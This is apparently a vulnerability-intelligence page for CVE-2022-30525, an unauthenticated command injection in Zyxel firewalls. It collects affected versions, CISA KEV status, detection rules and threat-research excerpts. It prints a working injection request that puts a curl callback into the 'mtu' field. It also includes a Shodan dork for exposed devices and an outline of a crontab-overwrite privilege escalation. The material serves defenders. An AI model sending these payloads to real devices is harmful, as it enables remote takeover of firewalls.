CVE-2022-30525
published 2022-05-12CVE-2022-30525: A OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions…
PriorityP1100critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITRansomwareInitial access
CISA Known Exploited Vulnerabilitydue 2022-06-06
Exploited in the wild
EPSS
99.94%
100.0th percentile
A OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.
Affected
24 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| zyxel | atp100_firmware | >= 5.10 < 5.30 | 5.30 |
| zyxel | atp100w_firmware | >= 5.10 < 5.30 | 5.30 |
| zyxel | atp200_firmware | >= 5.10 < 5.30 | 5.30 |
| zyxel | atp500_firmware | >= 5.10 < 5.30 | 5.30 |
| zyxel | atp700_firmware | >= 5.10 < 5.30 | 5.30 |
| zyxel | atp800_firmware | >= 5.10 < 5.30 | 5.30 |
| zyxel | atp_series_firmware | — | — |
| zyxel | usg20w-vpn_firmware | >= 5.10 < 5.30 | 5.30 |
| zyxel | usg_20_vpn_firmware | — | — |
| zyxel | usg_flex_100_firmware | — | — |
| zyxel | usg_flex_100w_firmware | >= 5.00 < 5.30 | 5.30 |
| zyxel | usg_flex_200_firmware | — | — |
| zyxel | usg_flex_200_firmware | >= 5.00 < 5.30 | 5.30 |
| zyxel | usg_flex_500_firmware | — | — |
| zyxel | usg_flex_500_firmware | 5.00 – 5.30 | — |
| zyxel | usg_flex_50_firmware | — | — |
| zyxel | usg_flex_50w_firmware | >= 5.10 < 5.30 | 5.30 |
| zyxel | usg_flex_700_firmware | — | — |
| zyxel | usg_flex_700_firmware | >= 5.00 < 5.30 | 5.30 |
| zyxel | vpn1000_firmware | >= 4.60 < 5.30 | 5.30 |
| zyxel | vpn100_firmware | >= 4.60 < 5.30 | 5.30 |
| zyxel | vpn300_firmware | >= 4.60 < 5.30 | 5.30 |
| zyxel | vpn50_firmware | >= 4.60 < 5.30 | 5.30 |
| zyxel | vpn_series_firmware | — | — |
Detection & IOCsextracted from sources · hover to see the quote
command{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; curl {{interactsh-url}};","data":"hi"}↗
sigma↗
id: CVE-2022-30525
info:
name: Zyxel Firewall - OS Command Injection
severity: critical
http:
- raw:
- |
POST /ztp/cgi-bin/handler HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; curl {{interactsh-url}};","data":"hi"}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: status
status:
- 500sigma
id: unauth-ztp-ping
info:
name: Unauthenticated ZyXEL USG ZTP - Detect
severity: high
http:
- raw:
- |
POST /ztp/cgi-bin/handler HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"command":"ping","dest":"{{interactsh-url}}"}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: body
words:
- "message"
- "result"
condition: and
- type: status
status:
- 200- →Detect exploit attempts by monitoring for HTTP POST requests to /ztp/cgi-bin/handler with a JSON body containing the 'setWanPortSt' command and shell metacharacters (e.g., semicolons) in the 'mtu' field. ↗
- →Successful exploitation results in an HTTP 500 response from /ztp/cgi-bin/handler; correlate 500 responses to POST requests with injection payloads in the mtu field. ↗
- →Detection without exploitation: send a ping command to /ztp/cgi-bin/handler and monitor for an out-of-band DNS callback, indicating the device is vulnerable and ZTP is exposed. ↗
- →Use Shodan queries to identify internet-exposed vulnerable devices by their web UI titles. ↗
- →The exploit runs commands as the 'nobody' user; monitor for unexpected process spawning (e.g., bash, curl) under the nobody user on Zyxel firewall devices. ↗
- →Post-exploitation privilege escalation (CVE-2022-30526) involves overwriting the firewall's crontab via a SUID binary; monitor for unexpected crontab modifications on affected devices. ↗
- ·The vulnerable endpoint /ztp/cgi-bin/handler is only present on devices with Zero Touch Provisioning (ZTP) support enabled; not all Zyxel firewall models expose this endpoint. ↗
- ·VPN series has a wider affected firmware range (4.60 through 5.21 Patch 1) compared to other models (5.00/5.10 through 5.21 Patch 1); ensure detection/patching scope covers all affected firmware versions per model. ↗
- ·The exploit is unauthenticated; no credentials or prior access are required, making internet-facing devices immediately at risk without additional authentication controls. ↗
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vulncheck9.8CRITICAL
cisa9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
CISA
Zyxel Multiple Firewalls OS Command Injection Vulnerability
cisa·2022-05-16·CVSS 9.8
CVE-2022-30525 [CRITICAL] CWE-78 Zyxel Multiple Firewalls OS Command Injection Vulnerability
Vulnerability: Zyxel Multiple Firewalls OS Command Injection Vulnerability
Affected: Zyxel Multiple Firewalls
A command injection vulnerability in the CGI program of some Zyxel firewall versions could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.
Required Action: Apply updates per vendor instructions.
Notes: https://nvd.nist.gov/vuln/detail/CVE-2022-30525
Remediation Due Date: 2022-06-06
GHSA
GHSA-987m-9prq-3p7m: A OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5
ghsa_unreviewed·2022-05-13
CVE-2022-30525 [CRITICAL] CWE-78 GHSA-987m-9prq-3p7m: A OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5
A OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.
VulnCheck
Zyxel Multiple Firewalls OS Command Injection Vulnerability
vulncheck·2022·CVSS 9.8
CVE-2022-30525 [CRITICAL] CWE-78 Zyxel Multiple Firewalls OS Command Injection Vulnerability
Zyxel Multiple Firewalls OS Command Injection Vulnerability
A command injection vulnerability in the CGI program of some Zyxel firewall versions could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.
Affected: Zyxel Multiple Firewalls
Required Action: Apply updates per vendor instructions.
Known Ransomware Campaign Use: Known
Exploitation References: https://api.vulncheck.com/v3/index/sans-dshield?cve=CVE-2022-30525; https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/; https://www.fortinet.com/blog/threat-research/zerobot-new-go-based-botnet-campaign-targets-multiple-vulnerabilities; https://blog.netlab.360.com/new-ddos-botnet-wsz
Suricata
ET EXPLOIT [Rapid7] Zyxel ZTP setWanPortSt mtu Parameter Exploit Attempt (CVE-2022-30525)
suricata·2022-05-16·CVSS 9.8
CVE-2022-30525 [CRITICAL] ET EXPLOIT [Rapid7] Zyxel ZTP setWanPortSt mtu Parameter Exploit Attempt (CVE-2022-30525)
ET EXPLOIT [Rapid7] Zyxel ZTP setWanPortSt mtu Parameter Exploit Attempt (CVE-2022-30525)
Rule: alert http any any -> $HOME_NET any (msg:"ET EXPLOIT [Rapid7] Zyxel ZTP setWanPortSt mtu Parameter Exploit Attempt (CVE-2022-30525)"; flow:established,to_server; http.method; content:"POST"; http.uri; bsize:20; content:"/ztp/cgi-bin/handler"; fast_pattern; http.request_body; content:"setWanPortSt"; content:"mtu"; pcre:"/^["']\s*:\s*["']\s*[^0-9]+/Ri"; reference:cve,2022-30525; reference:url,www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/; classtype:misc-attack; sid:2036596; rev:3; metadata:attack_target Networking_Equipment, created_at 2022_05_16, cve CVE_2022_30525, deployment Perimeter, deployment SSLDecrypt, performance_impact
Exploit-DB
Zyxel USG FLEX 5.21 - OS Command Injection
exploitdb·2022-06-03·CVSS 9.8
CVE-2022-30525 [CRITICAL] Zyxel USG FLEX 5.21 - OS Command Injection
Zyxel USG FLEX 5.21 - OS Command Injection
---
# Exploit Title: Zyxel USG FLEX 5.21 - OS Command Injection
# Shodan Dork: title:"USG FLEX 100" title:"USG FLEX 100W" title:"USG FLEX 200" title:"USG FLEX 500" title:"USG FLEX 700" title:"USG20-VPN" title:"USG20W-VPN" title:"ATP 100" title:"ATP 200" title:"ATP 500" title:"ATP 700" title:"ATP 800"
# Date: May 18th 2022
# Exploit Author: Valentin Lobstein
# Vendor Homepage: https://www.zyxel.com
# Version: ZLD5.00 thru ZLD5.21
# Tested on: Linux
# CVE: CVE-2022-30525
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import sys
import json
import base64
import requests
import argparse
parser = argparse.ArgumentParser(
prog="CVE-2022-30525.py",
description="Example : python3 %(prog)s -u https://google.com -r 127.0.0.1 -
Metasploit
Zyxel Firewall ZTP Unauthenticated Command Injection
metasploit·CVSS 9.8
CVE-2022-30525 [CRITICAL] Zyxel Firewall ZTP Unauthenticated Command Injection
Zyxel Firewall ZTP Unauthenticated Command Injection
This module exploits CVE-2022-30525, an unauthenticated remote command injection vulnerability affecting Zyxel firewalls with zero touch provisioning (ZTP) support. By sending a malicious setWanPortSt command containing an mtu field with a crafted OS command to the /ztp/cgi-bin/handler page, an attacker can gain remote command execution as the nobody user. Affected Zyxel models are: * USG FLEX 50, 50W, 100W, 200, 500, 700 using firmware 5.21 and below * USG20-VPN and USG20W-VPN using firmware 5.21 and below * ATP 100, 200, 500, 700, 800 using firmware 5.21 and below
Metasploit
Zyxel Firewall SUID Binary Privilege Escalation
metasploit·CVSS 9.8
CVE-2022-30526 [CRITICAL] Zyxel Firewall SUID Binary Privilege Escalation
Zyxel Firewall SUID Binary Privilege Escalation
This module exploits CVE-2022-30526, a local privilege escalation vulnerability that allows a low privileged user (e.g. nobody) escalate to root. The issue stems from a suid binary that allows all users to copy files as root. This module overwrites the firewall's crontab to execute an attacker provided script, resulting in code execution as root. In order to use this module, the attacker must first establish shell access. For example, by exploiting CVE-2022-30525. Known affected Zyxel models are: USG FLEX (50, 50W, 100W, 200, 500, 700), ATP (100, 200, 500, 700, 800), VPN (50, 100, 300, 1000), USG20-VPN and USG20W-VPN.
Nuclei
Unauthenticated ZyXEL USG ZTP - Detect
nuclei·CVSS 9.8
CVE-2023-28771 [CRITICAL] Unauthenticated ZyXEL USG ZTP - Detect
Unauthenticated ZyXEL USG ZTP - Detect
Make a ZyXEL USG with ZTP support, pre CVE-2023-28771 patch, do a DNS lookup by asking it to make an ICMP request.
This template can be used to detect hosts potentially vulnerable to CVE-2023-28771, CVE-2022-30525, and other issues, without actually exploiting the vulnerability.
Template:
id: unauth-ztp-ping
info:
name: Unauthenticated ZyXEL USG ZTP - Detect
author: dmartyn
severity: high
description: |
Make a ZyXEL USG with ZTP support, pre CVE-2023-28771 patch, do a DNS lookup by asking it to make an ICMP request.
This template can be used to detect hosts potentially vulnerable to CVE-2023-28771, CVE-2022-30525, and other issues, without actually exploiting the vulnerability.
reference:
- https://www.fullspectrum.dev/the-hunt-for-cve-2023-28771-
Nuclei
Zyxel Firewall - OS Command Injection
nuclei·CVSS 9.8
CVE-2022-30525 [CRITICAL] Zyxel Firewall - OS Command Injection
Zyxel Firewall - OS Command Injection
An OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, are susceptible to a command injection vulnerability which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.
Template:
id: CVE-2022-30525
info:
name: Zyxel Firewall - OS
Unit42
TuxBot v3: Inside an IoT Botnet Framework With LLM-Assisted Development
blogs_unit42·2026-07-15
CVE-2022-1388 TuxBot v3: Inside an IoT Botnet Framework With LLM-Assisted Development
## TuxBot v3: Inside an IoT Botnet Framework With LLM-Assisted Development
Chris Navarrete
Asher Davila
Doel Santos
Published: July 15, 2026
Malware
Threat Research
C2
DGA
Docker compose
Malware
TuxBot v3 Evolution
VirusTotal
XOR
## Executive Summary
We identified a previously undocumented modular internet-of-things (IoT) botnet framework named TuxBot v3 Evolution.
The malware authors leveraged an LLM to assist in their code development, yielding mixed results. While the AI complied with their request to generate botnet code, it included a safety disclaimer that the developer failed to remove before shipping.
Although the LLM clearly aided in constructing the botnet, several functions in the analyzed samples failed to work correctly. While a manual code review could hav
Unit42
Exploitation of Critical Vulnerability in React Server Components (Updated December 12)
blogs_unit42·2025-12-12·CVSS 10.0
CVE-2025-55182 [CRITICAL] Exploitation of Critical Vulnerability in React Server Components (Updated December 12)
Threat Research Center
High Profile Threats
Vulnerabilities
## Exploitation of Critical Vulnerability in React Server Components (Updated December 12)
Justin Moore
Published: December 12, 2025
High Profile Threats
Vulnerabilities
Cobalt Strike
CVE-2025-55182
CVE-2025-66478
Remote Code Execution
Web shells
## Executive Summary
Unit 42 stopped monitoring this threat and updating the brief on Jan. 30, 2025. Please refer to Vercel's website for the latest information.
## Update Dec. 12, 2025
Unit 42 uncovered the previously unseen KSwapDoor. This Linux backdoor was initially mistaken for BPFDoor.
Key features include:
P2P mesh network: Enables multi-hop routing for robust C2 communications
Strong encryption: Uses AES-256-CFB with Diffie-Hellman key exchange
Stealth an
Unit42
Exploitation of Critical Vulnerability in React Server Components (Updated December 12)
blogs_unit42·2025-12-12·CVSS 10.0
CVE-2025-55182 [CRITICAL] Exploitation of Critical Vulnerability in React Server Components (Updated December 12)
## Executive Summary
Unit 42 stopped monitoring this threat and updating the brief on Jan. 30, 2025. Please refer to Vercel's website for the latest information.
### Update Dec. 12, 2025
Unit 42 uncovered the previously unseen KSwapDoor. This Linux backdoor was initially mistaken for BPFDoor.
Key features include:
- P2P mesh network: Enables multi-hop routing for robust C2 communications
- Strong encryption: Uses AES-256-CFB with Diffie-Hellman key exchange
- Stealth and persistence: Mimics a legitimate Linux kernel swap daemon
- Full remote access: Offers an interactive shell, command execution, file operations and lateral movement scanning
### Update Dec. 9, 2025
Unit 42 has identified activity that reportedly shares overlap with North Korean (DPRK) Contagious Interview tooling, t
Greynoiseio
GreyNoise Detects Active Exploitation of CVEs Mentioned in Black Basta’s Leaked Chat Logs
blogs_greynoiseio·2025-02-26·CVSS 9.8
[CRITICAL] GreyNoise Detects Active Exploitation of CVEs Mentioned in Black Basta’s Leaked Chat Logs
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Qualys
Defense Lessons From the Black Basta Ransomware Playbook
blogs_qualys·2025-02-25
Defense Lessons From the Black Basta Ransomware Playbook
## Table of Contents
Know Your Enemys Playbook
Attackers Move Fast
How Qualys Can Help
The cybersecurity world was rocked last week by a massive leak of Black Basta’s internal communications that emerged from the group’s chat logs. Triggered by internal conflicts and a retaliatory data dump following attacks on Russian banks, the exposed records offer a rare glimpse into Black Basta’s tactics, operations, and leadership.
We’ve analyzed these newly unveiled tactics, and in this blog, we equip security teams with clear, actionable insights. We aim to highlight the key lessons learned—like immediate patching, tighter access controls, and rapid incident response—and provide an urgent call to action. This practical guide aims to help organizations strengthen their defenses against evolving
Qualys
Defense Lessons From the Black Basta Ransomware Playbook | Qualys
blogs_qualys·2025-02-25
Defense Lessons From the Black Basta Ransomware Playbook | Qualys
#### Table of Contents
- Know Your Enemys Playbook
- Attackers Move Fast
- How Qualys Can Help
The cybersecurity world was rocked last week by a massive leak of Black Basta’s internal communications that emerged from the group’s chat logs. Triggered by internal conflicts and a retaliatory data dump following attacks on Russian banks, the exposed records offer a rare glimpse into Black Basta’s tactics, operations, and leadership.
We’ve analyzed these newly unveiled tactics, and in this blog, we equip security teams with clear, actionable insights. We aim to highlight the key lessons learned—like immediate patching, tighter access controls, and rapid incident response—and provide an urgent call to action. This practical guide aims to help organizations strengthen their defenses against ev
Unit42
IoT Under Siege: The Anatomy of the Latest Mirai Campaign Leveraging Multiple IoT Exploits
blogs_unit42·2023-06-22·CVSS 9.8
CVE-2019-12725 [CRITICAL] IoT Under Siege: The Anatomy of the Latest Mirai Campaign Leveraging Multiple IoT Exploits
## Executive Summary
Since March 2023, Unit 42 researchers have observed threat actors leveraging several IoT vulnerabilities to spread a variant of the Mirai botnet. The vulnerabilities exploited include those listed in the following table:
CVE/Product
Description
CVE-2019-12725
Zeroshell Remote Command Execution Vulnerability
CVE-2019-17621
D-Link DIR-859 Remote Command Injection Vulnerability
CVE-2019-20500
D-Link DWL-2600AP Remote Command Execution Vulnerability
CVE-2021-25296
Nagios XI Remote Command Injection Vulnerability
CVE-2021-46422
Telesquare SDT-CW3B1 Router Command Injection Vulnerability
CVE-2022-27002
Arris TR3300 Remote Command Injection Vulnerability
CVE-2022-29303
SolarView Compact Command Injection Vulnerability
CVE-2022-30023
Tenda HG9 Router Command Injectio
Unit42
IoT Under Siege: The Anatomy of the Latest Mirai Campaign Leveraging Multiple IoT Exploits
blogs_unit42·2023-06-22·CVSS 9.8
CVE-2019-12725 [CRITICAL] IoT Under Siege: The Anatomy of the Latest Mirai Campaign Leveraging Multiple IoT Exploits
Threat Research Center
Trend Reports
Vulnerabilities
## IoT Under Siege: The Anatomy of the Latest Mirai Campaign Leveraging Multiple IoT Exploits
Chao Lei
Zhibin Zhang
Yiheng An
Cecilia Hu
Published: June 22, 2023
Trend Reports
Vulnerabilities
Botnet
CVE-2019-12725
CVE-2019-17621
CVE-2019-20500
CVE-2021-25296
CVE-2021-46422
CVE-2022-27002
CVE-2022-29303
CVE-2022-30023
CVE-2022-30525
CVE-2022-31499
CVE-2022-36266
CVE-2022-40005
CVE-2022-45699
CVE-2023-1389
CVE-2023-25280
CVE-2023-27240
IoT
IoT Security
Mirai
## Executive Summary
Since March 2023, Unit 42 researchers have observed threat actors leveraging several IoT vulnerabilities to spread a variant of the Mirai botnet. The vulnerabilities exploited include those listed in the following table:
CVE/Pro
http://packetstormsecurity.com/files/167176/Zyxel-Remote-Command-Execution.htmlhttp://packetstormsecurity.com/files/167182/Zyxel-Firewall-ZTP-Unauthenticated-Command-Injection.htmlhttp://packetstormsecurity.com/files/167372/Zyxel-USG-FLEX-5.21-Command-Injection.htmlhttp://packetstormsecurity.com/files/168202/Zyxel-Firewall-SUID-Binary-Privilege-Escalation.htmlhttps://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtmlhttp://packetstormsecurity.com/files/167176/Zyxel-Remote-Command-Execution.htmlhttp://packetstormsecurity.com/files/167182/Zyxel-Firewall-ZTP-Unauthenticated-Command-Injection.htmlhttp://packetstormsecurity.com/files/167372/Zyxel-USG-FLEX-5.21-Command-Injection.htmlhttp://packetstormsecurity.com/files/168202/Zyxel-Firewall-SUID-Binary-Privilege-Escalation.htmlhttps://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtmlhttps://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-30525
2022-05-12
Published
2022-05-16
Added to CISA KEV
Exploited in the wild